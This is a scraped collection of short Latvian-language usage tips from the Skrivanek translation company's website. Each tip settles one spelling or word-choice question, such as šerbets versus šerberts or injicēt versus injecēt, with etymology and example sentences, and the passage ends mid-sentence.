Nometnes --- > Koeficients vai koeficents? Kā pareizi raksta šo terminu? ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2025-03-19 - URL: https://skrivanek.lv/koeficients-vai-koeficents/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOEFICIENTS VAI KOEFICENTS 1 Vārds ,,koeficients” cēlies no latīņu ‘com’, ‘cum’ (kopā) + ‘efficientis’ (tāds, kas izdara). Vārdam ir divas nozīmes: 1) skaitlisks reizinātājs burtveida matemātiskajā formulā un 2) ar relatīvu lielumu izteikts kvalitatīvs rādītājs; tā var izteikt kādas norises tempu, parādības biežumu utt. Vārda rakstībā jāsaglabā divskanis ‘ie’, tādēļ rakstīsim: Labojumu koeficients eksāmenu darbos bija negaidīti augsts. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šerbets vai šerberts? Kā ir pareizi? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-08-13 - URL: https://skrivanek.lv/serbets-vai-serberts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠERBETS VAI ŠERBERTS 1 Vai karstā vasaras dienā malkosim šerbetu vai šerbertu? Vai saldajā ēdienā izvēlēsimies šerbetu vai šerbertu? Kā pareizi? Vārds “šerbets” latviešu valodā ienācis no Austrumiem — no turku ‘serbet’, no arābu ‘šarba’ — dzēriens (‘šariba’ — dzert). Kā redzams, cilmes vārdos to otrajā daļā burtu “r” nemanām. Tādēļ pareizi būs: šerbets. Par šerbeta nozīmēm. Pirmā nozīme ‒ tas ir dzēriens, ko gatavo no augļu saldējuma un dažiem alkoholiskajiem dzērieniem (vīna, šampanieša vai liķiera). Tomēr Austrumos to gatavo no mežrozītes, kizila un lakricas ogām, arī citrona sulas un dažādām garšvielām un pasniedz ar ledu. Arī otra šī vārda nozīme nāk no Austrumiem. Šerbets ir konditorejas izstrādājums — bieza masa no cukura, augļiem, drupinātiem riekstiem, arī kafijas un šokolādes. Tātad: Karstā vasaras dienā malkosim šerbetu. Saldajā ēdienā izvēlēsimies šerbetu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai sengrieķi filozofs ir Sokrats vai Sokrāts? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-05-31 - URL: https://skrivanek.lv/sokrats-vai-sokrats/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SOKRATS VAI SOKRĀTS 1 Sengrieķu filozofs, kura vārda pareiza izruna un rakstība var noderēt ne tikai klasiskās filoloģijas studentiem un vēsturniekiem. Iespējams, ka grieķu valodā lietotais uzsvars vārdā ‘kratos’ (vara) (uzsvērta zilbe ‘kra vārdos ‘So-kra-tēs’ un ‘Hi-po-kra-tēs’) ir bijis par pamatu latviešu valodā izrunātajam un rakstītajam garajam patskanim ‘ā’. Tomēr gramatiska pamatojuma tam nav, jo oriģinālvalodā vārds ’kratos’ tiek izrunāts ar īso patskani ‘a’Tādēļ arī sengrieķu domātāju sarunās dēvēsim un domrakstos rakstīsim šādi: Sokrats. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Es braucu uz darbu ar riteni vai velosipēdu? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2025-03-19 - URL: https://skrivanek.lv/ritenis-vai-velosipeds/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VELOSIPĒDS VAI RITENIS 1 Vārds ‘velosipēds’ latviešu valodā ir aizgūts no franču valodas vārda ‘vélocipède’, kas savukārt savu izcelsmi rod latīņu valodas vārdos ‘velox’ – ātrs, ‘pes’ – kāja, pēda. Velosipēdam var būt divi (visbiežāk), trīs (bērniem), viens ritenis – tātad divritenis, trīsritenis un vienritenis. Vārds ‘ritenis’ velosipēda nozīmē ir sarunvalodas vārds un ir lietojams kā velosipēda sinonīms. Visdrīzāk tas ir cēlies no vārda ‘riteņbraucējs’ – cilvēks, kas pārvietojas ar velosipēdu, vai ‘riteņbraukšana’ – pārvietošanās ar velosipēdu. Šodien vārds ‘ritenis’ ir tik ļoti iegājies sarunvalodā, ka visbiežāk vairs netiek precizēts, ka tiks braukts tieši ar divriteni. Velosipēda riteņu skaits tiks precizēts, sakot, ka: ,,Bērnam jānopērk trīsritenis” vai ,,Pārdošanā parādījušies jaunāka modeļa vienriteņi”, lai nerastos komunikatīvi pārpratumi. Valodniekiem ir labi zināms tā dēvētais lingvistiskās ekonomijas princips jeb pūļu ekonomijas likums, ko ikdienas sarunās izmantojam mēs visi un kas skaidrojams šādi – jebkuras valodas lietotāji cenšas pielikt pēc iespējas mazāk pūļu runājot. Šis princips ir viens no valodas attīstības un mainības cēloņiem. Ekonomijas princips darbojas visos valodas sistēmas līmeņos – fonētikā, vārddarināšanā, morfoloģijā, sintaksē. Tas nozīmē, ka gan izmantojot lingvistiskās ekonomijas principu un sakot: ,,Es braukšu uz darbu ar riteni”, gan sakot: ,,Es braukšu uz darbu ar velosipēdu”, izsakāmies pareizi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mazi bērni ļoti nobīstas, ieraugot šļirci vai šprici? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2025-03-19 - URL: https://skrivanek.lv/slirce-vai-sprice-vai-sirce/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠĻIRCE VAI ŠPRICE, BET VARBŪT ŠIRCE? 1 Vārds „šļirce” ir sieviešu dzimtes 5. deklinācijas lietvārds, tam ir divas nozīmes. Pirmā, visizplatītākā: instruments, ierīce u. tml. ‒ cilindrs ar virzuli šķidruma strūklas radīšanai vai šķidruma sūkšanai. Otra nozīme šim vārdam ‒ strūkla (kāda šķidruma). Vārds ir atvasināts no darbības vārda ‘šļirkt’ (apvidvārds) ar nozīmi ‘laist tievā strūklā’, ‘spļaut pa zobu starpu’. Pamatā ir skaņu atdarinājums, kas saistās ar ūdens sprauslāšanu, žļurkstēšanu. Arī vārds „šprice” ir sieviešu dzimtes 5. deklinācijas lietvārds, tas parasti tiek lietots ar nozīmi injekcijas šļirce vai injekcija. Vēl tam ir sastopamas šādas nozīmes: smidzinātājs; uzmundrinājums. Tomēr šo vārdu literārā valodā būtu jāizvairās lietot, tas ir sarunvalodas vārds. Nereti to lieto arī ekspresīvās izteiksmēs kā žargonvārdu, piemēram: „(Būt) pie šprices” ‒ būt noteicējam; būt vadošā amatā. „Laist pie šprices” ‒ atļaut darboties. „Tikt pie šprices” ‒ iegūt iespēju darboties; iegūt vadošu amatu. Savukārt vārds „širce” ir apvidvārds ar nozīmi priekšauts. Tātad teiksim: mazi bērni nereti nobīstas, ieraugot šļirci. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ceļš pilns ar risēm vai risām? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2025-01-27 - URL: https://skrivanek.lv/risa-vai-rise/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RISA VAI RISE 1 Pandēmijas laikā dodoties paelpot svaigu gaisu Latvijas dabas takās, nereti jāmēro ceļš, pilns ar risēm. Vai risām? Kā tad ir pareizi? Vārds „rise” ir sieviešu dzimtes 5. deklinācijas lietvārds, daudzskaitlī – rises. Vārdam ir vairākas nozīmes. 1. Ceļa segumā, zemē u. tml. iespiesta sliede, ko ir izveidojuši transportlīdzekļa riteņi (piemēram, K. Barona ielas posmā). 2. Iegriezta svītra (priekšmetā). Trešā, mazāk zināmā nozīme ir jūrniecības slenga vārds, kas nozīmē daļu no peldlīdzekļa tehniskajiem būvzīmējumiem, kas attēlo brangas formu un lielumu attiecīgajā šķērsgriezumā. Daudzskaitlī šis vārds būs „rises”. Savukārt „risas” ir novecojis apzīmējums grabažām vai sīkiem darbiem, neērtībām, nepatikšanām. Šis vārds lietojams tikai daudzskaitlī. Vienskaitlī „risa” ir reti lietots apvidvārds, kas apzīmē iebrauktu sliedi, arī gaitu, arī plaisu. Tātad pareizi būs: Nereti jāmēro ceļš, kas pilns ar risēm. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Paretam vai pa retam? Kāda ir atšķirība? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-07-08 - URL: https://skrivanek.lv/paretam-vai-pa-retam/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PARETAM VAI PA RETAM 1 Paretam ir apstākļa vārds, kas radies no deklinējama vārda un prievārda savienojuma un tas ir saliktenis, kas rakstāms kopā, līdzīgi kā vārdi aizvien, palaikam, pavisam u. c. Sinonīmi šim apstākļa vārdam ir šādi: izretis, pareti, paretis, paretu, paretumis, resi, retam, reti, retis, retumis. Taču ir sastopams arī vārdu savienojums ‘pa retam’. Kā zināt, kuru vārdu rakstīt? Palūkosimies, kā aplūkojamie vārdi “izturas” teikumā. Teikums: Vakarā nopilēja vien pa retam lietus pilienam. Šajā gadījumā pa retam rakstīsim atsevišķi, jo ‘pa retam’ ir īpašības vārda lomā ar prievārdu ‘pa’. Teikums: Paretam uzlija. Šajā gadījumā ‘paretam’ ir ar nozīmi ‘reti’ un ir laika apstākļa vārda lomā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Hematogens vai hematogēns - kā pareizi rakstīt šo vārdu? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-10-23 - URL: https://skrivanek.lv/hematogens-vai-hematogens/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HEMATOGENS VAI HEMATOGĒNS 1 Salds šokolādes batoniņa formas produkts, ko nereti iesaka ārsti, lai papildus uzņemtu dzelzi un paaugstinātu hemoglobīna līmeni asinīs. Kā pareizi rakstīt šo vārdu? Vārds cēlies no sengrieķu valodas vārdiem αἷμα ‘asinis’ un γένος ‒ ‘dzimšana’. Pirmo reizi produkts ar nosaukumu “Ādolfa Hommela hematogēns” (Hämatogen des Dr. Adolf Hommel) parādījās Šveicē 1890. gadā. Tas bija izgatavots no buļļa asinīm un olas dzeltenuma. Latviešu valodā šo svešvārdu rakstām ar garo ‘ē’. Līdzīgi kā citus vārdus, kuru otrā daļa ir – gēns, piemēram, antigēns, fosgēns. Tātad pareizi ir ‒ hematogēns. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai vakcīnu mums injicē vai injecē? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-05-31 - URL: https://skrivanek.lv/injicet-vai-injecet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional INJICĒT VAI INJECĒT 1 Rudenī mēs ejam uz poliklīniku izdarīt injekciju pret gripu. Vai vakcīnu mums injicē vai injecē? Lai atbildētu uz šo jautājumu, gribas domāt – ja jau lietvārds injekcija rakstāms ar burtu ‘e’, tad jau arī darbība būs – injecēs? Vārds ‘injekcija’ ir cēlies no latīņu valodas lietvārda ‘injectio’, kas savukārt veidots no darbības vārda ‘injicere’ – iemest. Tātad atcerēsimies pareizi nošķirt vārdšķiras un lietvārdu injekcija rakstīsim ar ‘e’, bet darbības vārdu injicēt ar ‘i’ – injekciju injicēs. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kāds ir senās izraēlas pilsētas nosaukums - Jeruzāleme vai Jeruzaleme? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-09-24 - URL: https://skrivanek.lv/jeruzaleme-vai-jeruzaleme/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JERUZALEME VAI JERUZĀLEME 1 Senā pilsēta Izraēlas teritorijā, kurā sadzīvo vairāku reliģiju pārstāvji. Kā pareizi rakstīt un izrunāt šo vārdu? Ieskatam nedaudz par ivritu, no kura latviešu valodā ir ienācis šis vietvārds. Ivrits ir semītu saimes mūsdienu ebreju valoda, tā senā forma ir senebreju valoda. Ivrita alfabētā ir 22 burti un tie visi ir līdzskaņi. Katram burtam ir tik izrunas variantu, cik patskaņu var tikt saistīti ar šo vienu līdzskaņa fonēmu. 7. ‒8. gadsimtā tika izveidota tā dēvētā vokalizācijas sistēma, ko veido speciālas diakritiskās zīmes (tās sauc par ‘nikud’), ko galvenokārt raksta zem burta (arī virs un aiz tā) un šīs zīmes norāda uz burta lasīšanas veidu, proti, uz patskani, kas saistīts ar šo burtu un šī patskaņa izrunas variantu. Sākotnēji šī sistēma tika radīta, lai palīdzētu saglabāt Svēto tekstu pareizu lasījumu, tomēr ar laiku tā tika izmantota arī ikdienas rakstībā. Tātad katram patskanim ir vairāki izrunas varianti. Tas tiek skaidrots tā, ka klasiskajā ivritā tika izšķirti garie (pilni un nepilni) īsie un reducētie patskaņi, turklāt dažādās skolās (izrunu veidos) to skaits bija atšķirīgs, un garo/īso patskaņu izrunai nebija fonemātiskas nozīmes, turklāt jau minētajā vokalizācijas sistēmā (t. s. Tibērijas tradīcija jeb vokalizācija) īsais/garais patskanis arī netiek pretnostatīts. Mūsdienu ivritā šis nošķīrums ir zudis. Tādēļ teiksim un rakstīsim: Jeruzalemē mīt dažādu ticību cilvēki. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Stīvs sprands vai stīva spranda? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2024-05-31 - URL: https://skrivanek.lv/sprands-vai-spranda/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SPRANDS VAI SPRANDA 1 Ja visu dienu nosēdi tiešsaistes sanāksmēs, tad vakarā var būt stīvs sprands vai stīva spranda? Sprands ir vīriešu dzimtes pirmās deklinācijas lietvārds, kas apzīmē skausta daļu mugurpuses augšdaļā pirmo divu skriemeļu apvidū. Vārda sākotnējā nozīme ir ‘tas, kas sasliets, uzsliets’ vai ‘tas, kas stiepjas, sasprindzinās (lokot, liecot)’. Spranda sieviešu dzimtē ir apvidvārds. Tātad teiksim: Man gluži stīvs sprands. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to 